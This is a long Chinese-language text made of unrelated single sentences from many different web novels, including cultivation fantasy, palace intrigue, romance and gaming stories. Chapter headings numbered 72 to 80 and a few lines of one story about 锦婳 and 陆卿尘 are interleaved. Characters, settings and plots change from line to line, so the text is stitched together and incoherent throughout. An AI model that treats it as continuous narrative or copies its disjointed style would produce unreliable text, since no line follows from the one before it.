“看他们的树枝就知道他们的主要攻击方式就是近身攻击了,以我们的实力,想要投机钻到洞口里面去,简直就是不可能的。”石通捡起一块石头扔了过去,被其中一棵大树用他那粗壮的树枝给抽了回来,差点砸到自己。
唐秀被萧景的态度气的不轻,明明是为了他好,怎么他还不领情呢?
冯星钦的面色有些不好看,按照攻略所说,强行闯入翻云雕的空域中绝对是一种危险行径。
萧方也是这样想的,所以他觉得还要再加一把火,让秦风放弃杀余修齐这个可怕的念头。
宁母为了不让宁昀耽误学业,醒了还没多久就将宁昀赶回去上学了,宁昀无奈,只能提前回到学校。
傻柱顶着两个大大的黑眼圈,满脸惨白的耸动了几下自己的鼻子狠狠的吸了几口气。
卡林塔的塔顶,正在通过装水的罐子,观看下界情况的猫仙人,被布罗利带来的狂风吓了一跳。
第一卷 第72章 心思
满月天龙并没有理会她,只是扭头又将脑袋埋进身子里闭上眼睛睡起觉来。
荒凉大陆的轮回之地,不是要人轮回的,而是给人轮回的感觉的。过了轮回之地,就是沉睡秘境所在的不毛之地了。
可可用行动证明了对食物的热爱程度,不到一分钟的时间,蛋糕就被彻底消灭掉了。
苏立唯一没有的东西就是防人之心,所以她没有想到事先去仔细检查一下实验器具。
饱受欺压的天龙城人民及修士,心都悬了起来,这妖龙王又要出什么幺蛾子?不过也依然想多往妖龙王绝美的脸上瞧几眼,偷看,不敢直视。
“但是你怎么保证,方亦歇只是降职,不会被看成是和夏耘一党的呢?”京墨有些怀疑。
这四样作品只是温斯顿最杰出的代表,他从影几十年,为数十部电影做过特效化妆和特效模型,他这里有海量的电影模型在其它的储藏室内收藏着,但是今天的时间已经不多了。
监控显示,此风暴距离火星基地大概五六十公里,速度较低,构成的威胁并不大,按照条例,凡是有威胁的状况都要想队长刘易斯汇报,所以贝斯便将这个事报告给了队长。
这七十多人无一例外的都在大地图上打上自己的神识烙印,喷上一口精血。
其实他是在脑海中通过系统看过这个电影的,对这个电影的印象不错,在见到凯奇后,他就有了一种天然的直觉,觉得自己和凯奇有一种天然的联系。
“还是老哥哥大气!”三眼妖王冲着敖礼一笑,伸手一拉孙悟空三人一同往龙宫深处走去。
“你三人前去太阴星宫,帮衬嫦羲一二自是可以,不过!”火榕似笑非笑打量着灵参,一时笑而不语。
“脱什么鞋,凭多讲究。”来的果然是岳云,他身高体壮,结实的马靴踩在地震板上,屋中众人感觉整间屋子都在摇晃。
“不对,再往下一点点。”顾辰继续的摇摇头,嗓音越发沙哑了。
“当成归,又提这个,你信不信本仙子将你给砍了!”玲音仙子笑意转为怒气,又恐吓道。
而今天的老天爷也很配合,天空云雾颇多,月不明星很稀,虽然没到伸手不见五指的地步,但能见度差不多也只有二三十米左右。
然而天规森严,王母瑶池怎可坐视不理!不多时,天空黑云滚滚,阵阵雷鸣响起,数万天兵天将从南天门而来,将桃花山围的水泄不通。
而风光也遇到了这个问题,不止是眼前多了一个美人,而且她还在美人的怀抱里。
可特妈这个办法,现在根本就用不上,因为有一百多个神武军士兵被红桃皇后的魔法变成了扑克武士,杨毅是想救出这些忠心的战士的,如果冲出去乱砍脑袋,岂不是连自己的士兵都砍了?
转头看了看四周的景色,陌生,陌生,和陌生,貌似是个她没有来过的地方。
她们的加入,带给江湖众人极大的帮助,也让禁军和东厂更显被动。
他的话落下,冯渊眼中闪过一丝决绝,便是迈开步伐,向河里走去。
然而就在这时,叶凡猛然间感觉心口震动,喘不过气来,疼痛让他半跪在地上。
其实苏瑞的医术也很高明,但不管为何,魏无忌更愿意相信苏婴。
楚飞的身影,出现在了无名黑影的后方,一道刺眼的红芒,则是自黑影的胸膛穿胸而过,楚飞与其背对,手掌一握,血色弯刀再度落入手中。
而那名警察所说的请神,便是召唤仙家附体,但至于接下来如何,李冲就不知道了。
不过他们已经做好了赴死的准备,在这种大趋势之下,已经由不得他们选择,他们虽然是护卫,但在这里,他们的命真不比这些奴隶高责多少。
景元帝可是个近百年来的英主,自从即位以来,就是广修民政,是个口碑极好的皇帝,更是深得民心,可如今却被爆出病危。
“没……没什么,随口问问,那我就先退下了。”豆豆其实是想着,唐正要是能够把自己许配给白云飞的事情给忘掉的。
出去各种各样的成本,纯利润高达五万两,当然这些成本也已经算上了人工工资和盘店铺的钱。
一碗温水一滴不剩地进了林峰肚里,一个个看着他喝水,少年瞬间就红了脸。
“云浩,说啥呢?你要再敢胡说八道,别说我收拾你。”让李云浩感到意外的是,林雨柔说这话的时候,脸上竟然带着笑容,上前一步,就把他的胳膊给抱住了。
选择离开,会不会伤害到林雨柔?选择留下,会不会牵连到林雨柔?
二强、方武自知自己的踏雪练的不够好,现在追上去可能坏了平安的计划。
平安想想还是跟师傅、明叔商量,干脆来个大的,不是来接人吗?那就带人埋伏在那里,十个衙差的武器也找了回来,他们自己也有弓箭、武器,看看到底什么人来接人,从哪里过来。
第一卷 第73章 离家
锦婳不敢再往下深想,她不敢去猜测陆卿尘心中是否真的有她。
她反倒希望陆琴尘对她只是一路走来,相互扶持的兄妹情谊。
他是帝王将相的命格,是做大事,成大事的人。
“是不是我还说不定呢,说不定是蒋怡学姐你对战月翼呢。。”沐毅笑着说道。
天游族到底强大到怎样的地步?如果自己这次不能得到天门玄棺,那么千元族估计就真的要灭亡了,那个疼爱自己的师尊估计也不能阻止天游族的反扑吧?
就在真嗣靠在一棵一棵香蕉树下休息的时候,不远处的丛林里传来了一阵阵巨大的声响,就连真嗣也感觉到大地都在颤抖。
第二天一大早,该死的七杀便打电话过来了,跟叫魂似的催促我赶紧上游戏,无奈之下,只得随了他的愿。
“越危险的地方,就越刺激,兄弟们,敢不敢跟我一起上船去调查一下到底咋回事。”欧阳绝表现的还是那样的兴奋,根本没有把老者的劝告放在心上。
身旁,周颖也是一脸的惊魂未定,水灵的大眼睛有着一丝惧色,玉手掩着红唇。
"你都活着,为什么我就不能活着?在这深渊下过着如同老鼠一般的生活,真不知道你是怎么熬过来的!"身穿古老战衣的老人嘲讽道!
蓝多多的源水晶射出能量光线,在场的所有黑星人都已灰飞烟灭。魔凤失去所有法力身受重伤。随着源水晶的能量冲力,退回了黑星球。
听到陈长老的话之后所有参与的学员都是拿出自己的积分牌然后直接向着台上射去。
然而,或许是太过专心于下方的局势,以至于他完全没有察觉到,自己的身后,已经有几道身影,悄然无声地摸了上来。
因为跑了几步,所以赵峰有点喘息,这个身体还真是不行,有点弱鸡。
一声重重的踏地声响起,战场中的地面裂开,一道道土黄色的能量汇聚成一个半圆形的护盾,如同穹顶一般挡在了众人的头顶。
景幸华回到王城,这边刚一只脚踏进奉元殿,左青鸾就抱着一沓折子到了殿门前,正大步流星的走过来。
我第一反应式不可能。但转念一想,她提到了火灾,又提到了面具男。这让我不得不相信了几分。
景幸华心中着急,不作停留继续驾马前行,耳畔突然划过一声箭氐之声,马背上回头一看,正是凤执拉弓射击,一箭将泽国的青墨色旗帜射落于冷风中。
那么,曾经被诉说过未来的“继承者们”,又将由谁领衔崭新的s9呢?
他怎么舍得,但如果她真的背叛自己,他一定会将她藏在家里,只让自己能看到她,摸到她,亲吻到她。
听到自己没有危险,二狗慢慢的抬起了头,看向了面前的两仪剑。
银修找到已经被贬为庶人的慕容枢,希望他可以帮忙劝导一下银客。
而在场的百户和千户早已猜到结果,面对副总兵的招揽,谁也无法拒绝其诱惑。
直播间里,柳迁已经哭的泪流满面,他完全不理解自己最好的兄弟和最爱的妻子为什么要这么对待他。
随着玄冥宗的出现,八大神宗其他队伍,也都相继现身,武场,再度变得热闹起来。
第一卷 第74章 匕首
陆卿尘和谢威到营的当日,夜里就听见营帐外有动静,谢威穿衣出去查看,原来是那小副将带着人马回来了。
每一年,厉氏从廉州港赚到的银子超过几百万两。这些银子,都会变成厉氏家族的兵马实力。
夏佐则提着刀大摇大摆的走在走廊上,沿途闻见风声的服务员,惊慌于窸窸窣窣的交头接耳间迅速弥漫。
虚情假意!杨天博笑眯眯地接过酒,肚子里嘀咕道:我才不吃你这套呢。
远处的手持宝具的神父放弃了原有的任务,因为手中的风铃一个接着一个毁掉。
毕竟周桥是太子唯一的妹妹,平日里太子对周桥又是百般维护,自然是要替周桥撑腰的了。
今天和三木千羽相处的一天时间里,徐母对三木千羽是越看越喜欢。
她没把院子写在她名下的事情告诉李氏,也没说这院子至少要二百两才能买的下来,免得李氏一会儿急的跳脚了。
——和微笑不一样,微笑真正这个年纪的时候对家里的事都一知半解,但侯月娇如今却对家里的事情基本都清楚。
“你在说什么?!”皇帝横眉怒视,看着满脸通红的周媛只觉得有些难以相信。
“走吧,先不要说这个了。”麻星曜摇摇头,心中百思不解,当年关闭诸界之‘门’,到底的发生了什么,为什么人族做大,而那些庞大的种族,天赋异禀者,反而一个个的消失了?
“轰!”先是一道剧烈的能量冲击从两方接触的地方‘射’出,整个天地似乎都陷入了极度的寂静之中。
更重要的是,这个家伙貌似还将自己看的很亲密的样子,这一切让卦师心中难以接受,这到底是为什么呢?
两名六星原士,一名五星原士,再加上许哲这个变态,用这样的组合来对付白素素,拥有很高的几率将其击杀。
终究是孩子心性爱看热闹,当即忙着凑了过去。麻星曜自然也跟了过去,一看之下,他倒是明白了,只是不知道金陵怎么有这样的赌石之地?以前他可不知道。
“哈哈!那你就来试试吧!你要是能够在一天之内找到我们,这个家伙就还给你!”男子说完,路飞扬面前的画面消失不见。
”前辈,在下可是古家的弟子,前辈”这锦袍男子话说到一半,其人便永远地离开这个世界了。
所以现在林峰突然给他打电话,自然不是和他来闲聊唠嗑的,肯定是和岛国人的事情有关。
“呵呵,好,那我先带她回去了,你们先玩着。”为了挽回自己的面子,韩破一手捉住了陈梦莹的手,然后拉着她往外走,陈梦莹半醉之下,甚至来不及挣扎,就被韩破拉着急速的往外走。
况且资本家都是逐利的,没人肯和钱过不去。趁你病要你命,呆鹅集团不想把畅想游戏逼死,但绝对会恶狠狠的榨取畅想游戏最后一丝剩余价值。
山海舟上,突然有许多游客从各自的房间中探出头来看着这个在海面上乘风破浪的人。
说起墨家这个墨晚意,皇后就是气不打一出来,平日里多通透的一个姑娘,怎就在情事上这么死心眼犯浑。
第一卷 第75章 蒸面包
伊纱自己则回到了房间里,看到林少躺在那里,她便坐到了另一边,伸手拿过旁边的东西吃。
傲雪低下了头:“没有。”其实当年傲雪是打过电话的。但是电话并没有接通就被挂啦。现在他这么问也许他忘啦。也许他没有看到吧。
沉吟了一阵子,秦飞想过如前几届百户一样听之任之得过且过,管他妈的什么平安银,这么复杂老子不收还不行吗?老子可是做大生意的,这点钱你们爱收不收,收了老子也多得不了多少。
林少高兴地想到,他慢慢俯下身,看着睡着的精灵,脸上满是笑容。
叶秋坐在缝纫机面前,在拿起面前一块白色的布,也就是星月集团采用最高级的丝绸编织而成的布。
如果艾米现在只是合格的水平,那如果是八九分,甚至满分的情况下,那又是什么情况了?
唉,这不倒不着的霉嘛,祥义也有点没主意了。这种情况确实让人为难,一时半会他也想不出一个合适的办法。
“等等,大家别说话,让王顺听一下!”秦飞打断许杰,他知道王顺绝对不会那自己开玩笑的,现在他变得谨慎起来,说不一定发现了什么。
“这其中定是有什么缘由才会导致槐妖伤人的,公子不分青红皂白的造下杀孽,难道不怕造就杀业么?”向来温和的柳梦璃见洞中槐妖的那般惨状,此时言语上咄咄逼人,没有一丝毫的退让之说。
这时候,不少看好戏的上下看着两人,这不二人在你一言我一语之中,这块水蓝晶钻的价格已经接近四万块灵石了。
我说完这话以后,视线就又朝着四周望去。结果我心里猛的咯噔一声,先前我们一直只注意着那一个纸片人逃走的方向呢。此时我却赫然看到,在离我们更远的黑暗处,居然还有另外四个纸片人的存在。
“那就让我在这提心吊胆吗?”道理明白,但她心中的不甘可不是轻易就能抹去的。
不大一会儿,启云便来了一面灵光闪闪的禁制面前,他很是娴熟地掏出一块禁制令牌,注入一些灵力之后,另一只手接着又往其中打入一道法诀,令牌白光闪动,激射出一道灵光没入禁制之内。
有时候事情做得不是很过,就尚且有回环的余地,要是真做过头了,那就只能不死不休了。顾旋道长惨死,我不过只是想让所有对顾旋道长出过手的人全部偿命而已,顺带叫三大世家滚出这一带,仅此而已。
夜间,逃亡队在一片承包出租的大型种植区落足,解决了大多数人的燃眉之急。
随着老虎的宝具的释放,以着他为中心的地面迅速的被一片植被所覆盖,本来灰白的地面,残砖废瓦被覆盖上一层植被后,又迅速的出现了一些闻所未闻的植物。
“既然连师叔师伯都毫无办法,岂不是他们不自己跳出来,便无法发现他们的真实身份,那还真的是令人头疼之极。”天佑不经也有些感叹。
而在他不远处,董梅兰一身红色的礼服,在她的头上扎了一枚红色的花朵。
旁边的黄毛更是瞪大着双眼看向林寒,紧接着一阵爆笑声便直接响了起来。
“呵呵呵,真是没想到,这般罕见神藏,居然会被我撞见。”掩唇轻笑,苏楠轻移莲步朝着老古和齐修走来。
洛仙儿眼神骤凛,当即提剑横扫,星芒剑光霎时笼罩黑池,将飞跃而出的数十道黑影尽数绞杀斩碎。
谢蘅芜唇边带笑,眼里却似降霜般寒凉;日光下,她本就浅淡的瞳色被照得越发透明,显得更像是又清又冷的冰。
这个混蛋,明明熏那么喜欢他,他却一而再再而三的辜负熏的心意。
王奇差点没气死,那人也是王家人,李世民已经让晋阳王家人进入朝堂,这是有意让王家内部打擂台,有意看狗咬狗。
陆长风也是军校出来的,干了两年副连,六年正连,按时间算,他现在本该在副营,偏偏疏忽大意导致考核没通过,这次再不过,估计陆南辰都想揍他一顿了。
加藤奈奈仰头直视星野纯的眼睛,可爱的脸蛋上终究是了几分火红,也不知是热的,还是羞的。
而全程躺着享受着优希阿姨服务的星野纯眯起眼,轻轻的喘息着,身心处于极度愉悦的状态。
我记得我打球的时候,遇到这种人,我会问问他为什么这么玩?要是道歉态度良好,就算了,以后不会再跟他玩了,如果态度不好,呵呵,我…我……也不跟他玩了!!有毛病吗?要不还能怎样?
由于不擅打理头发,有几根头发往上翻,刘海偏长,低着头的时候遮住了眼睛。
第一卷 第76章 义女
谢威带着一袋子银子和一麻袋的蒸面包进了营地,问了侍卫,说殿下在营帐里看书。
谢威进了营帐,陆卿尘瞥了一眼,不语,继续低头看书。
但在心思却早已经不在书上了。
这条峡谷有二三十米深,两边的峭壁十分陡峭,没有可借力的地方,在这峡谷内,就算四级人员也不一定能上来。
那男子脸上,留下一个红色的鞋印,鼻子都被那一脚踩碎了,看着元辰的背影,眼里露出恐惧。
旁边的剑祖也不知道是太过高兴还是怎么回事,竟然自己把自己灌醉了,鼾声如雷,富有节奏感。嘴巴还不忘吧唧吧唧,通红的脸颊一脸的满足幸福。
可怜的魔导术士攻击力只有300,被攻击力高达600点的海豚哥吊打。海豚哥的音波袭至,当场将那张卡炸成了粉末。
沈命叹了口气,朝前走了两步,抬手想搭在叶临渊的肩上拍一拍,却又收了回来,垂在一旁。
“死了?他是怎么死的?那条毒磷土龙呢?也死了吗?你是怎么做到的……”刘郎冷冷的问道。
整整近一个时辰的烈焰焚烧,火焰终是耗尽了尸骨上的那层薄薄的绿火。绿火消逝的瞬间、骸骨破灭,瞬间化作灰白的骨灰。只留下两枚灰突突的玉扳指留在灰烬中。
游宇说话间,面前场地上已张开了水流的漩涡。一道身着硬甲、坚实沉稳的身形从那漩涡中垂直飞出。
现在,他只能是寄希望于叶千秋能一举铲除雄霸,再不济,能将雄霸重伤也行。
冲虚道长暗自心惊的同时,又深深感觉到了江湖上的格局可能会因为这位华山派师祖的出现,发生很大的变化。
比如说,那些有钱的人,人家比你有钱,日子过得比你好,那这是不是可以说人家有“实力”?
变身成器物攻击,则是更为高明的对战之技,就好比凡人使用格斗擒拿之技。
原来是她自个儿搞了个大乌龙,齐母也不知道该说啥是好,昨天有多高兴,这会儿就有多失望。
神秘火鸟在孤鸣渊栖息了五十余年便消匿无影。再无人知晓它究竟去了何处。
而复试,才是真正的考核,三天后只要通过复试,就能进入星辰武宗了。
一波波强劲的气势,在两人身上不断激荡,他们眼中精光四射,让人不敢直视。
当黄轩老祖和幽冥毕方交手的那一刻,明泽城的众人就只有这一个感觉。整个明泽城在瞬息间被打的支离破碎,到处腥风血雨。
工业之神张东平为神王献上了生命金属打造的神王銮驾,金碧辉煌,雕刻九龙九凤,日月星辰,冬暖夏凉,可日行千里之遥。
等一切的混乱平息下来后,白施怡已经被五花大绑扔在了牛棚,而周大河因为直接被刺中了心脏,在混乱开始没多久的时候就咽了气。
果不其然,阿影直觉脑中炸裂一般,凄声吼叫。那张从来都显得无比淡定的面容变得如此苦痛,第一次见平静如水的阿影突然如此癫狂,夏耀,北铭轩也是受惊不少。
匆匆跑回客房,她找出一条裙子穿在身上,走进卫生间洗漱时,她才通过镜子看到自己脖子上有几块颜色很深的吻痕。
第一卷 第77章 回家
陆卿尘骑着追风一路飞奔,谢威也骑着战马跟在身后。
青龙、白首眼看着陆卿尘与谢威骑马出了营地。
棍子落在她的肩膀上,木刺刺入肩膀的皮肉中,顿时火辣辣的疼。
舞霓裳一听这话,完了,还没敬茶就要给她来个下马威?但是白霜霜接下来的话,让她有点哭笑不得。
眼下这珍珑棋局中,最开始黑白两子纠缠纷争,黑子占据着一丝形势上的优势,而白子占据了先手优势,乍一看的确是势均力敌,谁也奈何不得谁,若是在一般的对弈之中,这种情况下便是双方认了和局也未尝不可。
“罗柳渝的孩子是大哥,花蕊林的孩子是老二,花晓晨的孩子是老三,那我们的孩子还真便老四了。”聂苏姚数着手指头算。
而且星联航上的空姐比乘客还要高贵,什么顾客是上帝这一个说法是不存在的,把乘客赶下飞机也不是什么稀罕事。
然后,马车里的两人就陷入了沉默之中,一种古怪的尴尬氛围弥散开来。
而叶天的双修体制可以说,已经是很难得了,至少在他们那里也算天才一列了,但还是差点什么。
“所有资料我都收集完毕,就等狐狸露出尾巴。”乔思凯掏出资料,目光坚定地说。
突然被杨宇抱起,李灵林也不慌张,毕竟这已经不是第一次被对方这么抱着了。
张三一只是摇了摇头,神情黯淡,不是他淡漠,只是,人都死了,只不过是和他有那么一面之缘罢了。
其余的孩子们自然是非常高兴的,一个个非常主动地把自己的生日祝福说了出来。
那个时候的自己,只不过是修炼了一些,就被柒染给没收了,没想到,那傻丫头不让自己修炼,她却修炼了。
那份黑暗的光辉是阴郁里的泰山,当山崩而下,地面上的人唯有拼命躲藏,但这种举动却毫无意义没有一丝侥幸。
盯着黑眼圈,打着呵欠,张三一决定,再睡一天,反正,天气似乎也不适合出门。
亚当失败了,然而在人类彻底灭绝之后,邪魔失去了力量源泉,也就被亚当毁灭,但他的力量却被亚当保存了下来。
摇摇头,张三一轻轻关上了门,躺在有些硬,还有些硌的床上,久久不能入睡。
交代完这件事情,她就去了,那个时候,为了掩盖事实,我们只能把她放在床底下,让她躺下,她的怀里面抱着那个孩子。
沈前一边回忆山上的事情,一边慢慢地给细仙绘声绘色地讲,细节方面也没有放过。
虽然驴培养感情没有成功,但是两家人的情分还是在那儿的没任何影响。
有了这两样灵药种子,他只需要再找到最关键的一味灵药白焰秘花。
“从明天开始,你们就给我开始训练,训练量加倍。”李可灼朝几人说。
李可灼并不担心专家们贸然组装会把机器弄坏,所有人都是在机床行业几十年的老师傅了,就算没有组装成功,他们一定会保证零件完好无损的。
而且,这动静一旦闹大了,将武侯给引了过来,铁定要被关到大牢中去。
第一卷 第78章 有家
宁拂尘来这里不是观赏景色的,既然元神珠已经到手,他也不做停留,抬手一挥,空中黑云散尽,原来的晴空万里,就还给它晴空万里无云。
所以这就是长安君要归国的原因?是他察觉到赵国已不可能做出更多让步,才黯然放弃的?
“是吗,”姜欣雨不置可否。这么大的火都发生了,还只是过来看看,这不是很明显的不对吗?
王云龙曾经做过NBA助理教练,关于签约经纪公司的事情,他也是过来人,一些流程,他也很清楚,他的建议,可以让张云泽省去不少的麻烦。
尝过刚才难喝辛辣到极致的酒,狄阳本来对这种制酒之法已不抱希望,同一个甑桶里弄出来的东西,再怎么折腾,味道还能变不成?
光着膀子的皂隶们连忙挑着扁担,踩着木梯子上去,将从外面的水井里打来的水,一桶接一桶倒入顶部的大釜中,然后还得有人在上面不断用木棍搅拌。
事情越想深入就越是顺畅,事实的真相可能就是这个样子了,他们不会认识何婉芸,自然不存在故意针对她的事情。
最明显的就是这一次,他们被天武星帝一句话打入绝境,而又被千不换一句话揪出了绝境,这让他们不得不注重起这件事情。
“大哥这么说就是同意了?真好!既然大哥同意了,那我就开始说正事了。”给自己到了一杯茶,又给化千洛到了一杯茶。化千洛抬眼看着化千歌这么献殷勤的样子,直觉告诉他,化千歌一定会有很重要的事情要说。
无需多言,这场围剿紫喙金鸵鹏的战役中,他犯下了致命的失误。他心中腹议着,见鬼了,竟然被一个乡巴佬的神通镇住了。
这些低阶荒兽,既是一种迷惑,又是一种保护,更是一种禁忌。叶宁不知,击杀了它们,是否会惊动传闻中蛰伏在此地的十五阶荒兽。多一事不如少一事,叶宁绕开它们,围着山内边缘慢慢寻找着最佳的伏击之地。
“陆谨言你会后悔的!”恶狠狠的瞪了一眼执迷不悟的陆谨言,虽然说很不甘心可是林菲菲还是捂着自己肿胀的脸颊离开了,但是她忘记了她遗落在地上的手机,而那部手机正好落到了陆谨言的手里。
果然,交手双方察觉到了第三者,不约而同地向后退了数里,远远对峙起来,似乎是在等待着叶宁的到来。
杏儿乃柳飞飞的剑侍,准确地说,应该是其前世的剑侍。杏儿虽说出身低微,但她已经修行近万年,如今拥有着神君境大成的修为,算是柳飞飞的私人武力,在无极剑宗内仅仅听从宗主一人的调动。
“姐姐我没事,我就知道你们会来救我的。喂,姐夫,你刚才抱我姐姐的姿势很暧昧嘛。。。”杜晓磊调笑道。
那是一份手写的奴隶卖身协议。主人的困倦是韩浩,而仆人那一栏签字的正是荣佳佳。
“好,值得敬佩,希望我们提问的人,帮他实现愿望!”主持人很懂行,知道遇什么人说什么话的道理。
唐少岩只觉得好笑,心说老子出‘门’闯鬼了还是什么,竟然能在凌晨遇到这么一号人物,这不扯淡吗?
纪仁杰淡淡瞥了她一眼,正好看见她饱满的胸脯和不盈一握的纤细腰肢,挺翘的臀尖。
不仅是她,就连她周围的那些人也都投鼠忌器,不然早就挥拳朝君昊身上砸了过来。
最重要的是,荷官是一个一脸严肃的中年人,他的脸上没有丝毫的表情,仿佛早已对现在的职业麻木,就算荷官对于这特殊的黑色木盒有多了解,又或者可以暗自做什么手脚,但你却根本无法从荷官的表情去判断。
叶开点头,“没问题呀,我现在就把她的病治好给你看。”他早就等他这句话。
或者说是一种场面话,通常心里面没有想到这么夸张的程度,但嘴中所说便成为了一件极为严重的事情。
莉迪亚望着周围这些亲戚又或者是天合商会里的各位长老们,虽然受众者所指,但她的脸色依旧平静,没有任何怯意,并不因周围对于自己各式的看法而有所退缩。
生气之余,又有些好笑,看来亚伦还真把自己当成无所不能的恶魔,什么事都想要自己帮一手。
将墨安安按在沙发上,找来药膏,一点点的涂抹,动作并不轻柔。
但此处楼宇看似光明澄亮,实则暗中布置的守卫眼线已是遍布所有的空间,不存在任何一处死角的遗漏。
每当钢铁犀牛和土岩犀牛想要攻击那些外围的高阶妖兽时,瞬间就被后者一招打飞,甚至都没有转头过来多看一眼。
听到他许诺,朱盈盈心里甜丝丝的,竟激动差点的站了起来。就连不远处的谢流云都被她给惊动了,朝这边看了看。待冷静下来后,她却还是坚定地摇了摇头。
“凶手,凶残的凶手!杀父之仇不共戴天,身为人子不可不报,你说呢?”这人平淡的说着,一副初生牛犊不怕虎的神情。
便宜师傅教的功法确实很厉害,但是后遗症也厉害,就是肚子老饿。
无论是正修还是魔修都对凡天的身份充满了好奇,究竟是哪个势力的弟子,竟然如此狂妄,即便是隐世杨家也不敢说不把妖族之人不放眼里这种豪言。更何况其中的一名杨家子弟已经澄清了杨凡天并非他们杨家之人。
几乎找遍了整个镇子,终于看到了江源货栈的招牌。谢璧暗自吁了口气,看了看身旁的黄芸。黄芸也只能报以嫣然一笑,尽管她心里一片凄苦。
第一卷 第79章 营地
直到听到身后低低的笑声,“砰!”这次,慕晓风是从很高的地方,掉下来。
“不是不是,欧阳姐姐和唐四,他们在房里谈事情……”叶晨烟急忙说道。
“爸你就抱他过来好了,我还想问问爸爸情况怎样了呢!”叶祯祯存心想让他们父子多一些亲密接触,所以对于叶长浩的尴尬选择了视而不见。
“唐医生,有人找。”几日之后,一个护士怯生生地敲‘门’道,现在唐四在分院中,已经有了至高无上的地位,是以护士们对他很是尊敬。
“没关系,我会协调,一定不会再让您受委屈。”管玉琴郑重的承诺道。
忽然,手心好像被一股暖流给包围了,那温暖好像可以从内心一路往上传达。
她进来之后,跟姓陈的礼貌的问了声好,随即转脸看向我,脸上的表情给人一种说不出的感觉,像是在笑,又像是没有笑。
给孩子讲完故事之后,叶妃去厨房切些水果,打算给陆安安和罗少军送去,结果却正巧听见房间里两人在争吵,不由得顿住了脚步。
“明个一早你就出去亲自带人去查,一定要找到这个孩子。”稍许过后白玉珠看着风夜寒说道。
“殿下,杂家有事要说。”公公开了口,望着殿下,秦王示意他说,公公直接说了。
他们既不像李渝对这种地方迫不及待,又不像宣战和风化鳞一般食古不化。
哪怕会受伤,也都是在不得已的情况下,双方无法收手所造成的。
顾臻的身体好转,在医院里住了一周,他实在躺得难受,一定要住院。
“就凭这个!”孟馨探出左手在包裹一摸,一样事物登时跃然手上。
段正淳几人的脸色有些不好看,刀白凤又怒,叶枫竟然说是她儿子心术不正吸他人的内心,这让她如何忍得?
半年之内,离洛就把她脸上的伤口治好了,原本一直无法愈合的伤口慢慢开始愈合。
但转头一想,那叶凯成之前干嘛一直又是早安吻,又是晚安吻的,亲的还那么自然,不知道的还以为他其实就是个同呢。难道这都只是为了配合自己?
这句话说得有点粗放,老汪和田老三是两个大老爷们,他们听起来很有感觉,也跟着叫了一句“干他娘的”。
事不宜迟,反正突围的兵力范盛早就已经备下了,一直犹豫不决只不过想要等待奇迹的发生,显然上天没有听到他的祈祷,也没准是感冒了,而扶南王现在需要做的是赶紧跑路,如果有机会的话,还可以畅想一下东山再起。
正常情况下,不到生死关头,精灵是不会燃烧自己的本源的。可是世上有太多的意外,如布莱克,如现在的族长。意外的名字,叫亲情。
“老爷!您没事吧!”这时,一个老仆走了进来,吓的赶紧一把将他扶住。
“嘶……哈。”孤落深深地呼吸了一下,默默地接受着这些浩瀚无尽的境界。通玄在他的处境里已经是霸天绝地的大能,那这些后面的境界又会强悍到什么地步呢?
转眼之间,这猿狼王见到大师兄将取经人带进了猿狼山后,内心极其愤怒,便带领雷狼王、巨狼王、恐狼王三员战将拼死一战,最终遭遇到了众师徒的围歼。几经厮杀血战,苦战数百回合后,被怀志大师逐一收去。
周遭的议论声彻底把正在梦中的双簧二人组惊醒了,摊主下意识的将那株植物收到背后,但这个动作落在众人眼里却是多了欲盖拟彰的意味。
回想起当日在迷雾森林之中的险势,当它醒过来之际,已经是在将心石之内了,不过,他能够感觉到庄坚对于自己,是真正的关心。
城内的江忠源和罗泽南,见援赣湘勇相继赶到,马上便会在一处,开始筹划反攻围城太平军的大计。
消息传到恒字营后,气坏了恒字营的哨长、什长们。大家公开找到曾国葆,请曾国葆进城去向抚台禀明情况,不能任邹寿璋如此胡來。
姜母之所以如此慷慨,这也可能是十来年做惯了好事的原因吧。一遇到逃难之人她们便坐不住,只是他们毕竟身单力薄,根本照顾不过来那么多人,有时遇到饿急之人还会出现些危险。
那帮劫匪看到从叶枫体内涌出的真气,一股震慑心魂的强大气势爆涌而出,登时便是知道,他们这次可是遇到硬钉子了,纷纷仓皇逃窜,不过叶枫身形闪略,全部的劫匪便是被叶枫点穴定在了原地。
大家都很沉默前面进展的实在太顺利顺利到让我们大家都感觉到有些不安了。
想不到自己运气竟然好到了如此地步,随便出去,就能碰到天上掉馅饼的事。
一声惊天动地的巨响,大阵光芒层层爆炸,黑虎祭台上发出了剧烈的炸响,大阵的阵盘,忽然炸开了一半。这一尊大阵,本来就缺少了阵眼,又遇到了比黑虎妖君本人修为更高的存在,哪里还抵挡得住?
“她和我告别后,好像还搬家了。”朱俊挠了挠头,没想到她真的彻底消失了,说到做到。这反而让他对她的讨厌程度减轻了很多。
繁华昌盛的白云城复活石旁人山人海一片雪月的徽记这一次雪月行会在一个地图攻击下全军覆灭险些让复活石停止运转了这流量真是够大的。
四大外堂堂主一一上前汇报了自己管辖范围内的事宜,除了周山口有点皮笑肉不笑,其他人都是一脸的喜色。随后谢奎和司徒啸月上前说了不少帮中的事情,顾风都是一脸淡笑的听着,一句话都没有说。
被我插科打诨一下终于凌雪不再追问齿痕的来历了真要追问起来我肯定是百口莫辩事实上也没有辩驳的理由。
第一卷 第80章 找他
第二日一早,张澈早早就来敲门,锦婳起得也早,心里有事睡不熟。
当然如果能在个体成长阶段,就慢慢温养经脉,等个体成熟以后,其初始极限和成长潜力,都会增加很多,不可同日而语。
秋玄起身来到画前,暗暗说道:“不知是哪位大漠英雄,会让可汗如此珍重,将他悬挂在会客厅的正面墙上?”达步水云并不做声,只是仔细观看着。
紧接着陆羽再次输入了一道真气,念头一动,金球还真的跟着念头动了。
“你是谁?”平静两秒后,一个中年男子瞪眼喝到,他身穿一身中山装,面色的表情肃然无比。
不过,如今杭州战事正急,岳州又新逢大败,还有北方的朱全忠,听说他已经在集结大军,至于接下来是南下攻打淮南还是西进攻打李茂贞、杨崇本就暂时还不能判断清楚。
贺掌柜眉毛拧了,看这位年纪不过二百,怎么可能认识歧黄府的人,满脸写着“吹牛逼”仨字。
拓跋杰环顾了一下慕容德涛的队伍,发现他带了很多军兵,而且个个骁勇善战,心里知道,必是一场血战。
另外,与这个时代许多国家实行的爵位制度的一个不同的地方是,吴国所册封的爵位都只有封号和食禄,而没有封地。
与这些人有着至关重要的血缘关系与亲情,这些军兵对慕容部族的思念,是他必须要面对和解决的问题。
接下来一段时间里,不断有新的情报传来,这次晋军突袭郓州的行动始末也逐渐变得清晰起来。
“给苏若瑶行刑的是延元,他都几次三番地承认了。”沈氏死不承认。
